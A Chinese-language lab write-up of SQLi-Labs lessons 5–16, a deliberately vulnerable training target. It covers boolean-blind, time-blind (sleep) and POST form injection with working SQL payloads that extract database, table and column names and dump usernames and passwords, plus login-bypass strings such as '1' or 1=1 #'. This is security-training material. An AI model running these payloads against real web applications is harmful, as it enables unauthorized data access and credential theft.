title: 《SQLi-Labs》02. Less 5~16
date: 2023-05-03 14:32:25
updated: 2023-10-12 19:28:46
categories: WriteUp:Security-Lab
excerpt: 布尔盲注、时间盲注、POST 联合注入。
comments: false
tags:
top_image: /images/backimg/SunsetClimbing.png
SQLi-Labs
靶场部署在 VMware - Win7。
索引
- Less-5:布尔盲注,字符型【'】。
- Less-6:布尔盲注,字符型【"】。
- Less-7:布尔盲注,字符型【'))】。
- Less-8:布尔盲注,字符型【'】。
- Less-9:时间盲注,字符型【'】。
- Less-10:时间盲注,字符型【"】。
- Less-11:POST 联合注入,字符型【'】。
- Less-12:POST 联合注入,字符型【")】。
- Less-13:POST 联合注入,字符型【')】。
- Less-14:POST 联合注入,字符型【"】。
- Less-15:POST 布尔盲注,字符型【'】。
- Less-16:POST 布尔盲注,字符型【")】。
Less-5
题解
url + ?id=1
url + ?id=2
url + ?id=-1
url + ?id=10086
通过上面几个测试,发现页面不回显数据库信息,但对错误和正确有显示。
url + ?id=1'
url + ?id=1' --+
再通过以上测试可知是字符型注入。
由于只对结果真伪进行回显,使用布尔盲注。
判断当前数据库长度,需要一个一个尝试,这里判断出数据库名长度为 8(页面有回显说明结果为真)。
url + ?id=1 'and length((select database()))=8 --+
通过一个一个字符串截取并通过 ASCII 码比较来得出数据库名。
url + ?id=1' and ascii(substr((select database()), 1, 1))=115 --+
ASCII 码 115 对应字母为 s。
同理,以下判断都有回显:
url + ?id=1' and ascii(substr((select database()), 2, 1))=101 --+
url + ?id=1' and ascii(substr((select database()), 3, 1))=99 --+
url + ?id=1' and ascii(substr((select database()), 4, 1))=117 --+
url + ?id=1' and ascii(substr((select database()), 5, 1))=114 --+
url + ?id=1' and ascii(substr((select database()), 6, 1))=105 --+
url + ?id=1' and ascii(substr((select database()), 7, 1))=116 --+
url + ?id=1' and ascii(substr((select database()), 8, 1))=121 --+
因此可得到数据库名称为 “ security ”。
接下来,以同样的原理来爆表。
先判断所有表名字符长度。
url + ?id=1' and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>28 --+
url + ?id=1' and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>29 --+
通过回显判断出表名字符长度为 29。
然后逐一判断表名。
url + ?id=1' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>=101--+
url + ?id=1' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),2,1))>=109--+
...
url + ?id=1' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),29,1))>=115--+
可得表名字符为:emails,referers,uagents,users。
继续猜测数据保存在 users 表中(其实是早已知晓 = ̄ω ̄= )
继续用同样的原理来爆字段。
判断字符长:
url + ?id=1' and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>=20 --+
可得长度为 20。
逐一判断字段名。
url + ?id=1' and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>=105 --+
...
url + ?id=1' and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),20,1))>=100 --+
由此得到 users 表中字段为 user_id,first_name,last_name,user,password,avatar,last_login,failed_login,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password。
获取 username 和 password。
判断字符长度:
url + ?id=1' and length((select group_concat(username,password) from users))>=188 --+
然后依次判断每一个字符即可。最终结果与之前 4 个题相同。
url + ?id=1' and ascii(substr((select group_concat(username,password) from users),1,1))>=68 --+
总结
布尔盲注。主要用到以下三个 MySQL 函数。
- length() 函数:返回字符串所占的字节数。
- ascii() 函数:返回字符串最左字符的 ASCII 值。如果是空字符串,返回 0。如果是 NULL,返回 NULL。
- substr() 函数:字符串截取函数。
用 length() 函数判断字符串长度,然后用 substr() 截取字符串,用 ascii() 一个一个判断字符。
布尔盲注需要一个一个判断字符。对于联合注入来说需要花费大量时间。
Less-6
与 Less-5 没什么两样。这里只简略写大致步骤。
题解
根据页面报错信息可以猜测 id 参数是双引号。
只需将 Less-5 的单引号换成双引号即可。
判断当前数据库长度:
url + ?id=1" and length((select database()))>=8 --+
字符串截取并通过 ASCII 码比较来得出数据库名:
url + ?id=1" and ascii(substr((select database()), 1, 1))=115 --+
爆表
判断所有表名字符长度:
url + ?id=1" and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>28 --+
ASCII 码比较得到表名:
url + ?id=1" and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),2,1))>=109--+
爆字段
判断字符长:
url + ?id=1" and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>=20 --+
判断字段名:
url + ?id=1" and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>=105 --+
得到 username 和 password 字段
获取敏感数据:
判断内容长度。
url + ?id=1" and length((select group_concat(username,password) from users))>=188 --+
然后依次判断每一个字符即可。最终结果与前 4 个题相同。
url + ?id=1" and ascii(substr((select group_concat(username,password) from users),1,1))>=68 --+
Less-7
与 Less-5 没什么两样,也是布尔盲注。
题解
这题较上题有一点区别。
这一题只会显示报错,但没有报错信息。那就逐个判断一下。
传递 id=1'
时,显示错误;当传递 id=1"
时,显示正常,所以可以断定参数 id 为单引号字符串,因为单引号破坏了他原有语法结构。
然后传递 id=1' --+
时报错,传递 id=1') --+
发现依然报错。
那就试试双括号 id=1'))--+
,发现页面显示正常。
于是用布尔盲注即可。Less-5 中已详细说明,这里就不多说了。
Less-8
题解
Less-8 与 Less-5 一样。只不过 Less-5 没有报错信息,但有对错回显。
id 参数是一个单引号字符串。使用布尔盲注,和 Less-5 无异。
Less-9
题解
通过 if (a, sleep(3), 1) ,如果 a 结果是真的,那么执行 sleep(3) ,页面延迟 3 秒;如果 a 的结果是假,执行 1,页面不延迟。
思路与 Less-5 相同。这里只简单叙述。
判断参数构造。通过页面时间来判断出id参数是单引号字符串。
url + ?id=1' and if(1=1, sleep(3), 1) --+
判断当前数据库名长度。
url + ?id=1' and if(length((select database()))>8, sleep(3), 1) --+
逐一判断数据库字符。
url + ?id=1' and if(ascii(substr((select database()),1,1))=115, sleep(3), 1) --+
爆表。
判断所有表名长度。
url + ?id=1' and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13, sleep(3), 1) --+
逐一判断表名。
url + ?id=1' and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99, sleep(3), 1) --+
爆字段。
判断所有字段名的长度。
url + ?id=1' and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20, sleep(3), 1) --+
逐一判断字段名。得到 username 和 password 字段。
url + ?id=1' and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99, sleep(3), 1) --+
获取敏感数据:
判断内容长度。
url + ?id=1' and if(length((select group_concat(username,password) from users))>109, sleep(3), 1) --+
逐一检测内容即可。
url + ?id=1' and if(ascii(substr((select group_concat(username,password) from users),1,1))>50, sleep(3), 1) --+
总结
时间盲注。涉及到以下 MySQL 函数:
-
if (expr1, expr2, expr3)
如果 expr1 是TRUE,则返回值为 expr2;否则返回值为 expr3。 -
sleep(N)
让此语句运行N秒钟。
当无论输入什么,页面返回的结果都一样时,就无法使用布尔盲注。这时需要使用时间盲注。
时间盲注和布尔盲注的判断理解起来其实差不多。理解 Less-5 的布尔盲注后,这题也就好理解了。
只不过是布尔盲注通过页面回显判断真伪,时间盲注通过页面相应速度判断真伪。
Less-10
题解
id 参数是双引号字符串。
和 Less-9 一样,只需要将单引号换成双引号即可。
Less-11
题解
第十一关页面发生了变化,是账户登录页面。那么注入点在输入框。
当输入 username 为 1 时出现错误图片。
输入 1'
,出现报错信息。根据报错信息可以推断该 sql 语句为:username='参数' and password='参数'
知道 sql 语句后可以构造一个恒成立的 sql 语句,看看查询出什么。
Username 输入(一个万能登录语句):
1' or 1=1 #
这里使用 “ # ” 来注释。
再看看联合查询:
1' union select 1, 2 #
都做到这里了,接下来的思路就和 Less-1 一样了。不多说了。
总结
前十关使用的是 get 请求,参数都体现在 url 上,而十一关是 post 请求,参数在表单里。可以直接在输入框进行注入。
根据经验可以猜测 sql 语句。大概的形式应该是 “ username=参数 and password=参数 ”。
Less-12
这题,思路和 Less-11 一样。
题解
输入 1"
时,根据报错信息可以判断出参数是双引号带括号的。
判断是否存在 sql 注入。
1") or 1=1 #
看看回显。
1") union select 1, 2 #
剩下的该怎么做,理解了 Less-11 与 Less-1 就知道了。
Less-13
思路和 Less-11 一样。
题解
根据报错信息可以判断出参数是单引号带括号的。
剩下的不多说了。
Less-14
思路依旧和 Less-11 一样。
题解
为双引号字符串。
这几题都和 Less-11 一样。
Less-15
题解
输入 1'
或者 1
时,错误回显。
输入 1' or 1=1 #
时,正确回显。
判断一下当前数据库名称的长度。
1' or length((select database()))>=8 #
得到数据库长度为 8。
然后通过一个一个字符串截取并通过 ASCII 码比较来得出数据库名。
1' or ascii(substr((select database()), 1, 1))=115 #
1' or ascii(substr((select database()), 2, 1))=101 #
...
1' or ascii(substr((select database()), 8, 1))=121 #
剩下的思路与过程,理解 Less-5 就会了,布尔盲注。
Less-16
题解
Username 输入1") or 1=1 #
时,提示正确。所以参数为双引号加括号。
接下来的步骤就和 Less-5 与 Less-15 一样了。布尔盲注。
十有九人堪白眼,百无一用是书生。
——《杂感》(清)黄景仁